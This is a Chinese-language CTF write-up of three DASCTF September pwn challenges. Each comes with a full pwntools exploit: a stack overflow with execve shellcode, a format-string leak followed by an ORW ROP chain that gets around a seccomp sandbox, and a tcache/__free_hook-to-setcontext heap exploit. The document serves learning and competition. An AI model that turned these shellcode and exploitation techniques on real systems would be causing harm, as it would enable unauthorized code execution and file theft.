【pwn】DASCTF Sept 月賽
1、hehepwn
先查看保護,棧可執行,想到shellcode
這題需要注意shellcode的寫法
拖入ida中分析
一直以為iso scanf不能棧溢出,后來發現我是shabi
先進入sub_4007F9()函數
有個read函數,恰好讀完s數組,由於printf是碰到\x00截斷,所以如果我們輸滿0x20個padding就可以讀取一個棧地址
我們可以把shellcode寫入scanf輸入的地址中,通過創建fake ret地址進行rip遷移,而這個棧中存有我們寫入的shellcode
我們先調試出scanf的輸入地址,然后計算它與leak出來的stack地址的偏移
那么算完了我們開始構建payload(shellcode)
shellcode1 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)
前半部分的可見字符的27字節的shellcode是在shellcode storm中找到的,是我見過最短的execve("/bin/sh")了
這里先填充8字節的padding(rbp),再寫入fake rip,覆蓋返回地址
或者換用flat寫法
shellcode = flat({0:shellcode1, 0x58: stack - 0x50})
exp如下:
from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'
def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./bypwn')
elf = ELF("./bypwn")
sa(":",b"b"*(0x20-1)+b"a")
ru("a")
stack = uu64(r(6))
leak("stack",stack)
# dbg()
shellcode1 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)
sla("~",shellcode)
# sla("~",flat({0:shellcode1, 0x58: stack - 0x50}))
ia()
2、hahapwn
(感謝pwn神師傅niyah的wp和指點!)
這題就是開了沙箱,execve給ban了,不然就是最簡單的ret2libc
既然execv給ban了,那么就用orw
比較坑的就是給的libc版本錯誤,自己用libcsearcher搜出來是下圖版本
思路就是用fmt泄露canary和一個棧地址,還有__libc_start_main+240的地址用來泄露libc_base
然后用rop鏈寫一個orw,函數里有puts就不用麻煩的寫一個write了
exp來自pwn神師傅的wp
from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'
def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./pwn')
elf = ELF("./pwn")
offset = 6
sa("?","%27$p,%28$p,%39$p")
ru("0x")
canary = i16(ru("00",False))
leak("canary",canary)
ru("0x")
stack = i16(r(12))
leak("stack",stack)
ru("0x")
libc_start_main = i16(r(12)) - 240
leak("libc_start_main",libc_start_main)
# libc = LibcSearcher("read",read_addr)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc.address = libc_start_main - libc.sym["__libc_start_main"]
open_addr = libc.sym["open"]
puts_addr = libc.sym["puts"]
read_addr = libc.sym["read"]
# base = read_addr - libc.dump("read")
# open_addr = base + libc.dump("open")
# puts_addr = base + libc.dump("puts")
# read_addr = base + libc.dump("read")
# dbg()
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))
flag_addr = stack + 0xb8
orw = flat([
pop_rdi, flag_addr, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr,
pop_rdi, flag_addr, puts_addr
]).ljust(0x100,b"B") + b"flag\x00"
# dbg()
payload = b"b"*(0x70-0x8) + p64(canary) + b"bi0xbi0x" + orw
sla("?",payload)
ia()
簡單說一下為什么flag_addr = stack + 0xb8,因為我們后面輸入的位置+0x70+0x8+0x100和stack + 0xb8的位置相等,這樣我們就可以讀取到輸入的flag這個地址了
也就是flag_addr = stack + 0xb8這個位置就是我們orw里寫的b"flag\x00"的位置,這個是動調出來的
自己在本地寫了一個臭flag
3、datasystem
今天破事一堆,先復現了一個exp,是沒學過的覆蓋free_hook為setcontext+53,從而進行rop的操作,學到了學到了~
因為開了沙箱,無法執行system和execve,所以常規的free_hook和malloc_hook寫入one_gadget是沒法用的,用了船新的沒見過的setcontext,這幾天有時間再去研究細唆!
setcontext的匯編如下,可以看到能對很多寄存器賦值
exp來自DASCTF-Sept-X-浙江工業大學秋季挑戰賽-pwn-wp
也是一個超級厲害的師傅!
from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'
def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./datasystem')
elf = ELF("./datasystem")
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
def getpwd():
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
return c*32
p.close()
def login():
pwd = getpwd()
sla("username","admin\x00")
sla("password",pwd)
def add(size,content="a"):
sla(">>","1")
sla("Size",str(size))
sla("Content",content)
def free(index):
sla(">>","2")
sla("Index",str(index))
def show(index):
sla(">>","3")
sla("Index",str(index))
def edit(index,content):
sla(">>","4")
sla("Index",str(index))
sa("Content",content)
login()
add(0x420) # 0 unsorted bin
add(0x10) # 1
free(0) # get unsorted bin
add(0x8) # 0
edit(0,"b"*7+"x")
show(0) # leak libc_base
ru("x")
libc_base = uu64(ru("\x7f",False))-0x3ec090
leak("libc_base",libc_base)
libc.address = libc_base
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53
ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))
add(0x20) # 2
free(2)
free(0)
payload = b"bi0xbi0x"*2 + p64(0) + p64(0x311) + p64(free_hook-0x200)
add(0x10,payload) # 0
# dbg()
add(0x20) # 2
payload = flat({
0x200: setcontext,
0x100: 0x23330000,
0xa0: free_hook - 0x100,
0x68: 0,
0x70: 0x23330000,
0x88: 0x200,
0xa8: read_addr
}, filler="\x00")
add(0x20,payload) # 3
free(3)
time.sleep(0.5)
sl(asm(shellcraft.cat("flag")))
ia()
9.30更新:
又復現了pwn神師傅的exp:
from pwn import *
import sys
from LibcSearcher import *
# context.log_level='debug'
context.arch='amd64'
def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./datasystem')
elf = ELF("./datasystem")
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
def getpwd():
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
return c*32
p.close()
def login():
pwd = getpwd()
sla("username","admin\x00")
sla("password",pwd)
def add(size,content="a"):
sla(">>","1")
sla("Size",str(size))
sla("Content",content)
def free(index):
sla(">>","2")
sla("Index",str(index))
def show(index):
sla(">>","3")
sla("Index",str(index))
def edit(index,content):
sla(">>","4")
sla("Index",str(index))
sa("Content",content)
login()
add(0x420) # 0 unsorted bin
add(0x10) # 1
free(0) # get unsorted bin
add(0x8) # 0
edit(0,"b"*7+"x")
show(0) # leak libc_base
ru("x")
libc_base = uu64(ru("\x7f",False))-0x3ec090
leak("libc_base",libc_base)
libc.address = libc_base
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53
ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))
add(0x20) # 2
free(2)
free(0)
payload = b"bi0xbi0x"*2 + p64(0) + p64(0x301) + p64(free_hook)
add(0x10,payload) # 0
# dbg()
add(0x20)
# dbg()
flag_addr = free_hook + 0x150
# orw
orw = flat(
pop_rdi , flag_addr , pop_rsi , 0 , open_addr,
pop_rdi , 3 , pop_rsi , flag_addr , pop_rdx__rbx_ret , 0x100 , 0 , read_addr,
pop_rdi , flag_addr , puts_addr
)
# print(hex(len(orw)))
# free_hook改為setcontext+53,然后將setcontex+0xa0的位置改為orw的位置,將+0xa8的位置改為ret的地址
payload = p64(setcontext) + orw + p64(0)*3 + p64(free_hook+8) + p64(ret)
# print(hex(len(payload)))
add(0x20,payload.ljust(0x150,b"\x00") + b"flag\x00")
# dbg()
free(3)
ia()